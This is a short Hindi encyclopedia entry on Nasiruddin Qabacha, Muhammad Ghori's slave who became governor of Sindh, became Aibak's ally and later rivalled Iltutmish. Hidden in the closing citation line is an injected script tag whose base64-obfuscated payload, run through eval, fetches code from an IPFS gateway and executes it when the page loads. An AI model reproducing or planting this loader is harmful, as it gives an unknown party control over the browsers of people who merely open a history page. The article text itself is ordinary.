नासिरुद्दीन क़बाचा

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नासिरुद्दीन क़बाचा शहाबुद्दीन मुहम्मद ग़ोरी का ग़ुलाम था। अपनी स्वामीभक्ति और सेवा से वह जल्द ही मुहम्मद ग़ोरी का कृपापात्र बन गया और उसे सिंध का सूबेदार नियुक्त कर दिया गया। नासिरुद्दीन क़बाचा दिल्ली सल्तनत के प्रारम्भिक वज़ीरों में से एक था।

  • क़बाचा इतना शक्तिशाली था कि कुतुबुद्दीन ऐबक ने उससे मित्रता करना ही उचित समझा।
  • इसी मित्रता के फलस्वरूप ऐबक ने अपनी बहन का विवाह नासिरुद्दीन क़बाचा के साथ कर दिया था।
  • सुल्तान कुतुबुद्दीन ऐबक की मृत्यु पर क़बाचा दिल्ली के तख्त का दावेदार बन गया।
  • इस प्रकार वह कुतुबुद्दीन के दामाद एवं उत्तराधिकारी सुल्तान इल्तुतमिश का प्रबल प्रतिद्वन्द्वी साबित हुआ।
  • अन्त में एक लम्बी लड़ाई के बाद क़बाचा ने इल्तुतमिश की अधीनता स्वीकार कर ली।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 76 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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